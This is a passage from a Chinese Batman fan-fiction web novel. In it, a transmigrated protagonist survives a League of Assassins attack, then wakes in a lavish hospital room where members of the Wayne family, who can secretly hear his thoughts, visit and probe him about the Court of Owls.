卡修斯停下脚步，感觉自己脑子都懵了一瞬，自己浑身的力气都被抽走了似的，踉跄了一下，就要跪倒。 他看着浓烟中燃起的火焰，张了张口，却说不出话来。 在距离摔倒变形的车身十几米远的地方，一个端着枪的身影在烟雾中越来越明显。 阿尔弗雷德跑近他，拎着他的后脖颈，带着他一起隐蔽进最近的一个水塔。 卡修斯眨了眨眼，大喘了一口气，带着些颤音说：“你他妈吓死我了！” 阿尔弗雷德脸上也是硝烟留下的灰痕，他用戴着白手套的手指蹭掉卡修斯眼角的血迹，说：“年轻人，注意语言。” 卡修斯破涕为笑，没想到自己也能得到管家这种训斥。 他探出头，抬眼看过去，监测塔塔顶的刺客正在重新装填火箭-弹。 “你留在这儿别动，我上去解决他。”卡修斯说。 阿尔弗雷德点了点头：“去吧。” 卡修斯将最后6枚子弹装填完毕，直接冲了出去。 身后响起霰-弹出膛的声音，卡修斯没有回头，径直朝着监测塔冲了过去。 他猛地往前一跃，双脚踩上消化塔的巨型罐体，用力往上一跳，抓住塔与塔之间连接的运输轨道上垂下来的铁索，直接往前荡过去。 轰！ 又一枚火箭-弹在他身后炸开。 气浪推着他往前荡了更远的距离，爆炸的火星点燃了他的西装下摆，他松开铁索跳到监测塔外挂着的铁梯上，单手扯掉西装外套直接扔了下去。 又毁掉一套西装，卡修斯暗暗叹气。 看来他跟这种优雅的打扮犯冲，注定做不了西装暴徒。 他回头看向刚才跑过的地方，那里已经成为焦土，扒着铁梯扶手呼哧呼哧的喘。喉咙被之前吸入的刺鼻气体激的生疼，掌心因为紧握高温铁索太久，被燎出一串血泡。 卡修斯仰头望上去，却看到对方将火箭筒对准了天空的方向。 他顺势望过去，看到远处一抹黑影越来越近。 是蝙蝠机。 “终于来了。”他低声自语，随即咬牙努力往上攀爬。 蝙蝠机底部舱门滑开，跃下一个黑色的身影，他的披风像蝠翼一样展开，径直朝着阿尔弗雷德的方向飞去，一落地，甩出一连串蝙蝠镖，瞬间倒下去一半刺客。 卡修斯回过头，专心攀爬。没多久，他就爬上了监测塔塔顶。 一眼望去，原来塔上不止扛着火箭筒的刺客一人，还有四个刺客分别护卫在他身旁。 他们看到卡修斯，立即朝他冲过来。 卡修斯举枪就射。 “咔嗒。” 轮盘转动，但并没有子弹射出。 刚才，他已经打空了最后6发子弹。 扛着火箭筒的刺客应该是他们这次行动的首领，他转过头，对着卡修斯展开一个恶意的笑容，又向四个护卫刺客喊了一句阿拉伯语。 卡修斯听懂了，他说：“公主有令，杀他有重赏。” 卡修斯根本来不及琢磨他口中的“princess”是谁，就看到他回过头，将炮口瞄准了底下正在和刺客们战斗的蝙蝠侠和管家。 看上去像是打算丧心病狂的将敌我双方全部炸飞。 来不及跑过去阻止对方扣动扳机，卡修斯摸向自己的口袋，将袋中的塔罗牌猛地甩了出去。 卡片击中了他的手背和手指，一张“死神”甚至直接插·入刺客的手腕。 刺客痛呼一声，拔掉卡片扔在地上，转过身对准卡修斯，打算直接近距离将他轰成肉泥。 卡修斯立即蹲下身体往旁边一滚。但距离太近了，他知道这样只不过是螳臂当车。 “咔”。 这不是预想中炮弹出膛的声音。卡修斯半跪着抬头，一枚真正的金属飞镖卡在了RPG的枪管之中。 蝙蝠镖的侧翼的红点亮了几下，内置的微型电磁脉冲器启动，火箭-弹在发射管里轰然炸开。 那个刺客瞬间化身一个燃烧的人棍，他惨叫着后退，无头苍蝇般退到监测塔的边缘，然后直接翻身摔了下去。 卡修斯心中大定。 蝙蝠侠来了，没有火箭筒的威胁，相信他能很好的从底下那群人手中保护好阿尔弗雷德。 在还未结束的战斗中松一口气的坏处就是，那四名护卫刺客已经近了他的身，几招之后，他的身上就多了几道伤口。 卡修斯顺手拿起靠在塔顶墙体边缘的撬棍猛挥出去，成功将其中一名刺客扇出塔楼。但他自己也被另一名刺客一脚踹上肋骨，后退几步，直接仰面倒下。 他用余光看着被他扇的坠楼的刺客，喃声说：“怪不得连红头罩都怕这个，物理学圣剑，诚不欺我。” 三把袖剑同时朝卡修斯刺来。 刚才那一撬棍，已经用上了他所有的力气，此刻卡修斯面带微笑的安详闭眼。 他已经看到了，黑红色的身影从天而降。 罗宾一脚踢在了最外侧那名刺客的太阳xue上，另外两个刺客反应极快地朝自己身后砍去。 罗宾重重落地，他挥舞手中长棍，卡住两人的袖剑，抬脚又将人踹了出去。 “来的真及时啊。”卡修斯没再关心战况，他保持着仰躺的姿势，闭着眼，毫不留情地讥讽：“再晚一点，可以直接来给我收尸了。” 罗宾没有回头，看着再次压过来的刺客，短促地问道：“还能站起来吗？” 卡修斯摇摇头，然后意识到罗宾背后也没长眼睛，于是破罐子破摔道：“起不来，接下来靠你了。” GCPD的警笛声响了起来，武装直升机的旋翼声也越来越近。 “走！” 刺客知道任务失败了，骨笛声响起，幸存的刺客们训练有素的开始迅速撤退。 卡修斯气地想吐血。 不是，所有的打都让我一个人挨了吗？ 老子的后援来了，你们跑了，什麽意思啊？给我回来挨打啊浑蛋们！ 本来他又累又痛，一口气卸下来后，完全起不了身。但是现在，他病中垂死惊坐起，强撑着站起来，趴在监测塔边缘，对着如潮水般退去的刺客们狂骂。 用英文骂了一会儿觉得对方听不懂，又转换成阿拉伯语，可惜他的外文脏话储备量有限，骂了几句就词穷，最后还是换成了中文，然后一口气骂到他自己两眼发黑。 在他往后倒的时候，罗宾适时的扶住了他。 “还能走吗？” 罗宾问。 “你说呢？” 卡修斯哼哼。 罗宾单手穿过他腋下：“搭着我的肩，带你下去。” 他射出抓鈎枪，带着卡修斯荡了下去，又扶着他走到蝙蝠侠和阿尔弗雷德面前。 正在和蝙蝠侠说话的管家转过头，微笑的看着卡修斯，说：“希尔先生，你保护了我，谢谢你。” 卡修斯心想也不算我保护了你，这些人本来就是冲着我来的。 但又觉得管家真的是高情商发言，这话说得太让人舒服了。 自己好像确实挺勇的。 其实当英雄的感觉也还不错，尤其是亲手保护了自己想要保护的人。 他侧头看向身边的罗宾，从鼻子里哼了一声。 “呵，又让你小子白赚一次美救英雄的机会。” 说完，他终于放心的晕了过去。 昏过去之前他还在想，到底是什麽公主要杀他？为什麽要杀他？居然还指使得动刺客联盟！难道他在自己都不知道的时候抢了哪个硬核公主的王子？！ 拉尔斯你个没用的东西，有人要损坏你的财产，你不管管吗？还恶魔之首，改名叫狗东西之首吧！呸！ 迪克转过头看向阿尔弗雷德，阿尔弗也挑眉看着他。 “是的，我听到了。”管家说。 提姆看了看正在用眼神交流的两个人，感觉自己被排挤了。 “听到什麽了？” 第42章 初次见面，幸会。 卡修斯是在一阵规律又持续的“滴……滴”中醒来的。 他缓缓眨了眨眼，花了30秒才辨认出这里不是他所熟悉的任何一个住处，而且，这儿的软装相当豪华。 水晶吊灯的坠饰在天花板上零星地反射着窗外的霞光，真丝刺绣的窗纱在黄昏映衬下流光溢彩，窗边柜的花瓶里还插着带有露水的新鲜玫瑰。 这如梦似幻的场景让他以为自己又一次穿越了，而这次老天爷终于厚待他，让他穿成了什麽有钱人家的小少爷。 他动了动手指，才终于发现，一直在耳边响个不停的滴滴声是连接着自己手指电极片的另一端的监护仪发出的声响。 原来这里是一间病房，因为它装饰得过于豪华，让卡修斯没有第一时间辨认出它的用途。 他用另一只手掀开被子，才看到自己身上的病号服都是真丝制成的——总之整个起居环境是凭他自己的经济实力，无论是上辈子还是这辈子都负担不起的样子。 卡修斯一时间有些恍惚，他盯着墙壁上挂着的那幅《马蹄莲》发呆。 那是亚瑟·彼彻·卡尔斯在1922年创作的一系列以马蹄莲为素材的画作中的一幅，原作收藏于芝加哥艺术博物馆。 他之所以知道的这麽清楚，是因为他爸在美国做一些艺术品投资的生意，上大学时，有一次去他爸那儿过暑假，他曾带自己去过那个博物馆，然后他去谈生意，自己则在博物馆里随意逛了逛。 那时，他看到有个十七八岁的大男孩正站在这幅画面前临摹。 他自己毫无艺术细胞，在国内的时候很少逛美术馆之类的地方，这是他第一次看到有人在博物馆画画，还挺新奇的，于是悄悄站在男孩背后看了许久。 后来那个男孩似乎察觉了他的窥视行为，正准备转头的时候，父亲在远处叫了他一声，他就顺势转身走了，毫无违和感地避免了因为好奇偷看被抓包的尴尬。 回去之后，他特意查了这幅画的作品信息，所以才印象如此深刻。 所以他为什麽会在一个幻想维度的世界看到真实世界的东西？ 他心里有一丝细微的期待，也许自己之前三个月的经历，只是大梦一场，这个豪华的病房，是自己作为空难的幸存者，得到的政-府特殊呵护，但他的理智又告诉他，别做梦了，怎麽可能。 门轴转动的轻响打断了他的思绪。 一个年轻英俊的男人单手插兜倚在门边，对面窗的霞光照在他身上，给他裁剪精良的藏青色西装镀上一层金黄色的柔光，让他整个人像是经过高斯处理那样，散发着一种朦胧又模糊的梦幻光芒。 男人……或者说男孩，有一双湛蓝色的眼睛，看向卡修斯的时候，眼神格外专注，让他有种眼里全是自己的错觉。 他知道有种人就有这样的天赋，他看着你，就让你以为你是他的全世界。 这男孩看上去太年轻了，但卡修斯已经能从他出色的外貌断定，未来他一定会让许多人为他神魂颠倒。 男孩慢慢走到他面前，卡修斯不再看他的眼睛，而是将目光移到他领口松垮垂着的温莎结上。 他心里对男孩的身份有了一点猜测。 “感觉如何？”年轻男孩并没有第一时间介绍自己，而是直接开口，语气熟稔地向他问话。 卡修斯将视线移回对面墙上挂的那幅《马蹄莲》上，随意“嗯”了一声，然后抬手指了指画，“这幅画，是真品吗？” 男孩也抬头看向那幅画，像是没想到他居然对这感兴趣似的，语气带了些疑惑。 “嗯？不是，真品在芝加哥艺术博物馆，你喜欢它？” 卡修斯的心重重的跳了一下。 他强行按捺住自己的激动，点了点头，说：“真好看。有机会想去看看真品。” 男孩的脚微微转向，走向墙边那幅画，盯着它看了一会儿，不知道是炫耀还是什麽，说：“这是我画的。” 其实他也不知道自己是在什麽时候画的这幅画，只是某一天，这幅画突然出现在了他的房间里，背后还有他自己的签名：T.D。 他初中的时候学过一段时间的画，所以觉得大概是自己那时候和同学们一起去博物馆临摹的。 要不是他的一只手还夹着电极片，他肯定会再次捧场的鼓掌。 “比起真品也不多逊色。”反正千穿万穿，马屁不穿。他又不是尼尔·卡夫瑞，所以，吹起这种不负责任的彩虹屁来没有一点心理压力。 “你不是没见过真品？”男孩问。 卡修斯：…… 彩虹屁你还当真啊？ 不过男孩也没继续这个不太有营养的话题，他转身，朝着卡修斯的病床走近。 他走过来的时候，带着一阵雪松的木质香气，其间还夹杂着一些淡淡的酒香，从他的穿着来看，卡修斯猜测他应该是从某个宴会上离开后，径直来到这里的。 他拉开病床边的椅子坐下，卡修斯这才注意到，病房的地上居然还铺着波斯地毯，所以他走路才一点声音都没有。 男孩将领结彻底拉开，随手放在旁边的置物柜上，又像是忍耐了许久似的，解开了衬衣最上边的两颗扣子，深深地呼出一口气。 卡修斯看到了他锁骨处，被衬衣领子遮住一半的淡色红痕——那应该是利器划伤，比如说袖剑之类的。但男孩用了粉底，所以看不真切，他也是因为距离太近了，而且眼神好使，这才看出来的。 不过，他只瞄了一眼就收回了目光，重新看向那幅画。 男孩先将他的病床调整成卧躺的角度，又俯身查看了一下监护仪，然后才坐回椅子上。他双手交叠，随意地搭在膝盖上，食指还在有一下没一下地点着自己的膝盖。 “看来，你知道我是谁？” 卡修斯点了点头，转头看向那双似曾相识的蓝色眼睛：“韦恩少爷。” 男孩的手指顿了一下，才笑着说：“我还是更习惯朋友叫我提姆。” 他将左手伸到卡修斯面前：“你好，我是提姆·德雷克-韦恩。初次见面，幸会。” 卡修斯看着那只手，也伸出那只没有连接仪器的左手，握了上去：“卡修斯·希尔。” 两人手指相触，轻握了两下，就缓缓松开。 “我什麽时候能出院？”卡修斯直接问道。 提姆歪了歪头，缓声回答他：“你身上有多处骨折，医生说，你最好住院休养一段时间。” 卡修斯摇了摇头：“这儿太贵了，而且我觉得我好差不多了，用不着这麽麻烦。” “费用方面你不用担心，你保护了韦恩庄园的管家，就是韦恩家的恩人，我们会为你提供最好的治疗，又怎麽会让你自己负担这些呢。至于出院……”提姆顿了一下，才说：“你知道自己昏迷了多久吗？” 卡修斯抬了抬眉毛，倒是没想过这个问题，于是他老实的摇了摇头。 “七天。” “七什麽？” 卡修斯难以置信的转头问，连声音都提高了不少。 提姆笑了笑：“你没听错，是七天，你把阿尔弗雷德吓坏了。” 卡修斯：你把我也吓坏了。 我还以为最多昏了7个小时。 他抬起右手，看了看手背上的针头，问：“那这是？” “营养液。”提姆简短的回答到。 卡修斯不信这个邪，他掀开被子想要下床，提姆稍微按了按他的手臂，问：“做什麽？” “上厕所。”他咬牙切齿的回答。 提姆一脸不解的看着他：“你还有感觉？” 卡修斯冷汗立即下来了，什麽意思？为什麽没感觉？你们也是那个硬核公主派来的敌人吗？我真的没勾引王子，你们问都不问就把我阉了？这麽残忍的吗？ 说着他就伸手往下面摸。 提姆也不知道他在摸什麽，但凭借着他出色的侦探技巧，还是有所判断的，于是赶忙把床边挂的尿袋拎到他面前：“你在找这个？” 卡修斯：“……拿走。” 他是不是睡了七天把脑子给睡坏了？怎麽会联想到自己那啥没了？ 昏迷七天，当然会用导尿管…… “我怎麽会昏迷这麽久？”卡修斯清了清嗓子，转移话题道。 提姆帮他重新把尿袋挂好，看他执意要起来，也不再阻止，给他搭了把手，让他撑着自己站起来。 “我们也很想知道。”提姆说。 卡修斯刚一站起来，就感觉膝盖一软，立刻想要跪下。 提姆像是预料到似的，马上穿过他的腋下，将人抱住，靠在自己身上。 “呃……这是在干什麽？” 门口传来另一个男性的声音。 卡修斯抬头，就看到三个年龄层分别在老中青的男人站在病房门口。 但现在他没心情去辨认谁是谁，而是颤声问：“我不会瘫痪了吧？” 他妈的，刺客联盟，老子跟你们不共戴天！ 他心里悲愤道。 提姆忍不住笑了出来，他扶着人，将他放在床上，转头回答门外人的问题。 “他非得下床，我就没阻止他。” 阿尔弗雷德率先走了进来：“希尔先生，你躺了这麽久，肌肉无力是正常的。” 呜呜呜，果然管家才是最好的。 卡修斯狠狠瞪了提姆一眼。 提姆耸了耸肩，表示自己很无辜。 门口另两个人也走了进来。 卡修斯看过去，虽然他们长的不像，但都是如出一辙的英俊帅气。 “上天给了韦恩一家坎坷的命运，但是也赐给了他们绝世的容颜。啊——我滴外敷们真好看……” 卡修斯感慨道。 他注意到，除了提姆，另三个人的表情都有一瞬间的不连贯。 但卡修斯也没在意，以为是自己看错了。他给自己挂上一个清澈愚蠢的表情，问道：“请问你们是……” 几次接触下来，布鲁斯已经习惯了卡修斯的表里不一，他的表情并没有什麽大的变化，熟练地挂上一个布鲁西式的微笑，说：“我是布鲁斯·韦恩。” 卡修斯夸张的抽了口气，他捂着嘴，发出不敢置信的感叹：“韦恩？您真的是韦恩先生？媒体不是说您又出国参加极限运动了吗？” 迪克牙疼的抽了抽嘴角，感觉完全没眼看。 提姆：“呕……” 只有阿尔弗雷德相当捧场，他不赞同的看了两位少爷一眼，然后慈祥的说：“老爷得知你为了保护我，受了重伤，特地赶回来看望您。” 啊？真的就演起来了啊？ 第43章 他知道我知道他的秘密 卡修斯配合地挤出一个笑脸：“第一次见到活的韦恩先生，我可真是太荣幸了……” 自己接的戏，跪着也要演下去。 他的声音越来越小，像是说完这些话，已经耗尽了他全部的力气。 这倒不是装的，刚才一番折腾，他是觉得自己连说话都有些费劲了。 这倒是让他相信，自己确实是昏迷了好几天。他感觉自己从记事起，就没有这麽虚弱过。 虽然他在心里可以毫无顾忌地把所有超英都当做自己的外敷，但事实上，卡修斯表面上还是相当含蓄内敛的。布鲁斯·韦恩真人站在他面前，他竟然都不好意思多看人家几眼。 主要是布鲁斯真的太好看了，和提姆一样，那双钢蓝色的眼睛，看着你的时候，就好像你是他的全部。 没有人不会爱上布鲁斯·韦恩，他英俊，有钱，身材还好，穿着衣服的时候能提供充分的情绪价值，脱了衣服能提供优秀的劳动价值，分手还能提供丰厚的经济价值，这种优质资产，搁谁不迷糊？ 卡修斯真的不敢多看，生怕迷失在资本家的糖衣炮弹中。 永远活在心里的外敷才是好外敷，奔现达咩！ 迪克咬着自己的口腔内部的软肉，努力深呼吸来忍住笑意。布鲁斯本来想说什麽的，结果卡修斯的心声跟奔腾的鸵鸟似的在布鲁斯脑子里不讲道理的呼啸而过，让蝙蝠侠都一时忘了自己该说些什麽。 你小子心里是一点正事都不能想了是吧？ 他看了眼依然用慈爱眼神看着卡修斯，像是什麽都没听到的管家，感觉可靠的管家目前好像也指望不上了。 提姆的眼神在几个人身上扫过一圈，知道大概是又被卡修斯的心声给震惊或者无语到了。 他现在已经知道，貌似韦恩庄园里只有自己听不到卡修斯的心声。 刚了解到这个事实的时候，也不知道为什麽，他的心里居然还有点不高兴。 但现在看着布鲁斯明明恨不得捂上耳朵，却又知道捂耳朵根本没用的表情，感觉听不到卡修斯的心声好像也没什麽不好的。 而且，他知道布鲁斯来看望卡修斯，并且有意创建他和韦恩庄园之间的连接是为了什麽。 卡修斯来自另外一个时间线发展更快的平行宇宙，他知道许多和超英相关的事件，无论出于何种目的，布鲁斯都不可能放着这样一个“预言家”不管。 提姆觉得布鲁斯的做法也没什麽错。如果他也能听到卡修斯的心声，那麽他也一定会想方设法地和对方创建更紧密的联系，以便从他身上得到更多有价值的信息。 他甚至对布鲁斯仅用“和韦恩庄园创建初步联系”这种温和的方式而感到惊讶。 他想到卡修斯曾经亲口对他承认过，他喜欢的人是布鲁斯·韦恩……他好像对迪克也有点意思。哎，不管了，无论是谁，提姆都决定推他一把，做好一个辅助者的本职工作。 那就先从布鲁斯开始吧。 “布鲁斯知道你为了阿尔弗雷德受伤，急坏了，不但提前回了哥谭，在见到昏迷的你之后，立即为你安排了哥谭最好的医疗资源。他每天都很关心你的身体情况，你一醒，他就立即提前离场了一个重要酒会。” 提姆说完就去看布鲁斯，本以为他会递给自己一个赞赏的眼神，但没想到他却用见了鬼的眼神看着自己。 连迪克都忍不住用口型快速说：你在说什麽。 提姆耸了耸肩，用眼神示意他，我这是在给布鲁斯助攻。 也不知道自己冰雪聪明的大哥看懂了没有。 卡修斯同样完全没有接收到提姆的助攻信号，只觉得不愧是韦恩少总，忽悠人的瞎话是张嘴就来。 布鲁斯回哥谭只可能是因为他要办的事办完了。当时那种情况，危机都已经解决，他又怎麽可能提前回来？而且关心他的身体状况？可能是因为布鲁斯作为当时拉尔斯给他注射不明药物的见证者，非常想弄明白他作为人体实验的活体样本，到底有什麽变化值得拉尔斯特别关注的吧。 不过，说到这里，卡修斯就想到另外一个问题——既然蝙蝠侠都回来了，那拉尔斯到底死没死，刺客联盟的总部到底毁没毁啊？ 还有，他把达米安带回来了吗？ 听到他心声的布鲁斯不动声色的掀了下眼皮，旁边的阿尔弗雷德则用余光瞥了布鲁斯一眼。 迪克倒是第一次听到“达米安”这个名字，虽然他心里也有所疑惑，但并没有立即表现出来。 布鲁斯看到了阿尔弗雷德的微表情，知道他的管家大概早已在卡修斯的心声中知道这次他去刺客联盟的真正目的是什麽。 他一直忍耐着没有直接问自己，大概希望他能主动说出来。 可是…… 他忍不住想起自己抵达南达帕尔巴特时的场景。 拉尔斯不知道怎麽，发现他真正在追踪的是塔利亚，因此故意放出好几个有误导性的消息，甚至不惜用塔利亚的替身和一个真正的小孩子，将他诱到刺客联盟在中东的基地，想要趁机将他诱杀在那里。 当他终于掌握了拉尔斯真正的行踪，追踪到他在南达帕尔巴特的巢xue时，那里已经被轰炸成断壁残垣。 他顺着打斗的痕迹摸到拉尔斯隐藏在雪山深处的拉撒路池时，发现丧钟也在那里——当他发现那里还有第二个人的时候，第一时间就想到了丧钟，因为卡修斯的心声中提到过，丧钟会去找拉尔斯的麻烦，只是他没想到自己这麽快就能亲眼见证这个“预言”的实现。 拉尔斯浑身被烧得看不出模样，而丧钟则当着他的面，用脚尖将尸体翻转过来，露出拉尔斯勉强能辨认出颅骨中线的脸，随后挥刀，直接斩下了他的头颅。 “蝙蝠侠，你来晚了。我今天心情好，不想和你打。”斯莱德的声音带着戏谑，他一脚将地上那具无头尸体踢进拉撒路池，又从身后拿出一个方盒子，将拉尔斯的头颅随意地扔进那个铺了石灰的盒子。 蝙蝠侠沉默的看着他斯条慢理的将装着头颅的盒子重新寄回腰间，直接问道：“塔利亚呢？” 丧钟呵呵笑了一声：“当然是跑了，难道留在这儿等你来找她？” 蝙蝠侠了然：“是你把我在找她的消息透露出去的。” 丧钟说：“既然你在道上买消息，就该知道任何隐秘的消息都有泄露的风险。不过也多亏了你，否则我还不知道怎麽把她从拉尔斯身边弄走。” 说着，他眯起双眼得意地笑道：“看起来她是真的不想见你啊。不过我还是得感谢你，要是她不走，我的突袭计划可能也不会这麽顺利。” 布鲁斯不想再听他废话，转身离开藏着拉撒路池的洞xue，黑色的披风在空气中翻起一阵黑浪。 直到他快要走出山洞，才听到丧钟在他身后远远说道：“看在你这次也算帮了我的份上，我可以告诉你，塔利亚身边确实带着一个10岁左右的孩子，虽然不想承认，但他确实长得很像你，布鲁斯。” 他的脚步停顿了一瞬，但并没有回头，而是直接离开。丧钟不会白白透露消息，而他不想和一个计划掌控整个刺客联盟的危险雇佣兵做交易。 他已经收到卡修斯被刺客联盟派出的杀手围攻，重伤昏迷的消息，他本以为是拉尔斯下的命令，但现在看来，应该是塔利亚。 塔利亚很有可能知道卡修斯身上的人体实验的秘密。 拉尔斯身死的消息很快就会传开，塔利亚不会任由丧钟掌控刺客联盟。而据他所知，联盟本身也不是铁板一块，她一定会趁此机会迅速清洗和收拢所有她所能掌控的那部分势力。而在这期间，是他有可能找到并带回那个孩子最好的机会。 但是他现在必须先回到哥谭。 塔利亚派出这麽多杀手想要置卡修斯于死地，那麽，卡修斯身上的秘密就一定非常重要。也许塔利亚会亲自来哥谭杀卡修斯。 他只要在哥谭耐心等待就可以。 “其实我没那麽金贵，反正已经醒了，相信过两天我就能活蹦乱跳了。” 卡修斯再次开口，只是他的声音明显相当虚弱，让人忍不住想让他好好休息，不好意思多打扰他一秒。 他心里也是希望这麽想的。希望韦恩家的这些人精们能快点走。 不知道为什麽，和他们共处一室压力特别大，总觉得自己在想什麽都被他们给看穿了似的，非常没有安全感。 但是刚刚病房里只有提姆的时候，就完全没有这种感觉。 阿尔弗雷德适时地说：“既然你醒了，我们也不多留，希尔先生，希望您早日康复。” 卡修斯感激的看着管家，对他的好感度越来越高。 “还是让提姆留下来陪你吧，这样我们也能放心些。”布鲁斯说。 提姆不知道为什麽布鲁斯不愿抓住这麽好的单独相处的机会和卡修斯培养感情，但既然他这麽说了，就肯定有他的道理。于是微笑着点点头，转过头看向卡修斯，像是在征求他的意见。 卡修斯觉得这确实是个比较折中的方案，而且他也实在抵挡不住韦恩家培训出来的这种含情脉脉的眼神，在他自己还没仔细考虑的时候，已经率先点头同意了。 布鲁斯像是终于松了口气似的，他体贴的将卡修斯落到腰部的被单往上拉了拉，状似不经意的说：“提姆倒是没说错，我可是抛下了最近政坛新秀林肯·马奇先生，特意过来看你的，你现在在我心里可是比未来的市长候选人还要重要。” 卡修斯抬起头，直视布鲁斯·韦恩钢蓝色的眼睛。 虽然他这话说的缱绻，但卡修斯从他的眼睛里没有看出任何一点深情的样子。 他还记得蝙蝠侠在离开哥谭前，他们讨论的最重要的话题之一就是猫头鹰法庭，还有林肯·马奇。 卡修斯忽然明白，他知道蝙蝠侠秘密身份的事，蝙蝠侠本人已经知道了。 他第一反应是转头看向提姆，以为是他告诉布鲁斯的。 虽然理智上他知道罗宾和蝙蝠侠互通重要信息很正常，但在感情上，他竟然莫名生出一种被背叛的感觉，看向提姆的眼神难免带了些哀怨。 第44章 大哥你谁？！ 提姆一脸无辜地回看向他，根本不知道自己哪里惹到他了。 迪克倒是知道弟弟是怎麽背上这口锅的，但目前并不是解释误会的时机，只能拍了拍他的肩膀，表示怜惜。 卡修斯观察了一下几位的表情，感觉蝙蝠侠好像和罗宾一样，虽然知道他知道了义警们的秘密身份，但选择了不在明面上揭穿，打算就这样继续演下去。 这样也挺好的。卡修斯对此迅速释怀。 既然布鲁斯再一次在他面前提起林肯·马奇这个名字，那就是在暗示他，自己得透露一些和这人有关的消息。 虽然韦恩们说，他是韦恩家的“恩人”，但他可不会真的以恩人自居，心安理得地享受他们提供的一切便利。想必蝙蝠侠已经弄清楚，那些刺客到底是准备杀谁的。 既然他得到了韦恩家的照顾，就很自然的想要尽可能满足对方的要求作为回报。他不能直接说出未来可能发生的事，只能想想怎麽迂回地用提示让布鲁斯有线索去调查。 可惜他看刊物太久，很多剧情的细节都已经想不起来，能想起来的只是林肯·马奇之所以把布鲁斯当做目标，是因为他认为自己也是韦恩家的孩子，布鲁斯的兄弟。 话说回来，猫头鹰法庭的老登们不愧是在世界上最肮脏的地方混得如鱼得水的人，太知道怎麽玩弄人心。告诉一个孑然一身，受尽人间冷暖的小孩，他本来也是这个城市的明珠，可以拥有更光明的一生，然后让他看着自己的同胞兄弟拥有他这辈子不可能企及的财富，权力，还有……正义感，告诉他，“这本该是属于你的一生”，这种痛苦如何能不逼疯一个正常人？嫉妒杀死愚妄人，愤怒杀死痴迷人啊…… 卡修斯在心中感慨。 “哗啦”一声，卡修斯吓了一跳，顺着声音的方向看过去，是原本捧着窗边柜上花瓶的阿尔弗雷德不小心将它摔在了地上。 “真是抱歉，本想在走之前为您更换花瓶里的水，看来我确实年纪大了。”阿尔弗雷德一边笑着自嘲，一边躬身捡地上的花瓶碎片。 “你别动，我来吧。” 说着，迪克蹲下来帮他一块儿捡，两人对视的时候，交换了一个凝重的表情。 卡修斯没有在意这个小插曲，他想了想，对布鲁斯说：“我看过这位马奇先生的电视专访，他的经历堪称传奇，从孤儿到市长候选人，非常励志，不知道他以前待过的孤儿院会不会以他为荣呢？” 布鲁斯深深地看了他一眼，说：“我知道了。” 林肯·马奇从没有在公开场合说自己是孤儿，他的背景材料中，所有履历都从一个普通的寄养家庭成长开始说起。即便他自己偶尔提起，也只说小时候生活过的孤儿院因经营不善，早早倒闭。 早年哥谭的孤儿院大多没有规范的管理系统，很多孤儿院的儿童信息都不全，更有一些人打着孤儿院的幌子，利用慈善基金敛财，想要查到15或者20年前倒闭的孤儿院和那里的人员信息很难，但这对布鲁斯来说，并不是问题。 从他回到哥谭开始，就有意改善这里的孤儿救济问题，这麽多年，蒂芙尼·福克斯作为韦恩集团社会福利事务相关的负责人，对此相当熟悉和了解，有她的帮助，相信很快就能查到林肯·马奇到底是从哪儿来。 卡修斯陷入了回忆，他又想起一件事，迪克原本是猫头鹰法庭看好的利爪，他父母的死亡甚至也是法庭让他成为利爪，为他制造的“成为孤儿”的必要流程，只是阴差阳错，被布鲁斯收养，这才摆脱成为杀人工具的命运，但猫头鹰法庭从没放弃过将迪克收入组织。 “你说……” 迪克被猝不及防涌入脑海的信息吓了一跳，忍不住想要问个清楚，被布鲁斯一把拉住。 阿尔弗雷德也适时的打断了他。 “迪克少爷，来日方长，希尔先生刚醒，还是让他先休息吧。” 阿尔弗雷德的语气虽然温和，但他的眼角微微下垂，整个人也站得更加挺拔。这是管家在表达坚持时会表现出来的肢体语言。 迪克沉默了两秒，看着卡修斯确实还不算健康的脸色，最终还是听从了管家的建议。 他的心绪因为这个突如其来的信息变得很乱，勉强对卡修斯点了点头，率先快速离开了病房。 布鲁斯的心情同样不平静。他年幼的时候亲自调查过相关的线索，最终以失望告终。后来他回到哥谭，成为蝙蝠侠这麽多年，传说中的猫头鹰法庭也从未在哥谭现身过，因此，他判断猫头鹰法庭的存在只是谣言。但现在看来，这是自己又一次的误判。 可是法庭蛰伏这麽久，为什麽忽然显露踪迹？ 其实这也是卡修斯疑惑的地方。在他的印象里，猫头鹰法庭是在布鲁斯提出重建哥谭的计划后，为了阻止这件事，才派出利爪杀他，为什麽在这儿居然这麽早就出现了？ 可他对剧情的记忆实在是太模糊了，努力回忆了一会儿，就感觉头昏脑胀，呼吸困难。 提姆将手搭在他的小臂上：“卡修斯。” 卡修斯有些困顿的抬眼看着他：“嗯？” “要再睡一会儿吗？”提姆看向他的眼神里带了些担忧。 虽然布鲁斯想知道的还有很多，但他也知道，卡修斯现在的状态并不好，不适合再进行过多的思考。他在心里微微叹了口气，走近卡修斯，在病床边半躬下身。 “好好休息，我会再来看你的。” 说完，他抬手，像对待自己的孩子们那样，揉了揉他的头发。 卡修斯因为这个动作清醒了一瞬，立刻支棱起来5秒。 嗯？我这是获得了传说中的摸头杀？ 我滴外敷太会勾引人了吧？ 布鲁斯：…… 他倒是不介意牺牲色相，但现在他已经看出来了，这小子就是个思想的巨人，行动的矮子。 他给提姆递了个眼神，示意他跟自己出来。 几人走到病房外，迪克正双手抱胸站在走廊尽头的窗口向外眺望，但是眼神并没有聚焦。 听到脚步声，他立刻迎了上来，布鲁斯先对他做了个等一下的手势，对着提姆说：“照顾好他，我怀疑刺客联盟的人还会来找他，你需要随时在他身边。” “我知道。” “还有……” 布鲁斯再开口。 提姆停下转身的动作，看向他，等待他继续吩咐任务。 “关于我们能听到他心声的事，不要告诉他。”他叮嘱道。 提姆又点了点头：“我明白。” 他看出迪克和布鲁斯有话说，而且根据他对两人目前微表情的判断，预感他们之间的谈话并不会有多愉快。 很显然，这大概又和听到的卡修斯的心声相关。这让提姆心里又释怀一些，有时候，无知也是一种幸福。 他不想参与到布鲁斯和他最爱的儿子之间的战争中，所以迅速转身，重新朝卡修斯的病房走去。 等看到提姆进屋，拍了拍迪克的后背，示意他和自己一起下楼。 “你尽快回布鲁德海文，你的城市需要你。” 布鲁斯开口道。 迪克迅速瞪向他：“你是在赶我走吗？想把我排除在这件事之外？” 布鲁斯确实是这麽想的。既然他已经知道迪克曾是法庭的目标，在彻底解决这个隐患之前，他就不想让迪克再深入参与这件事。他已经没办法承受任何一个孩子再出意外了。 “你这个……” 迪克怒视着他，刚想斥责布鲁斯的专制和粗暴，阿尔弗雷德就打断了他。 “迪克少爷！” 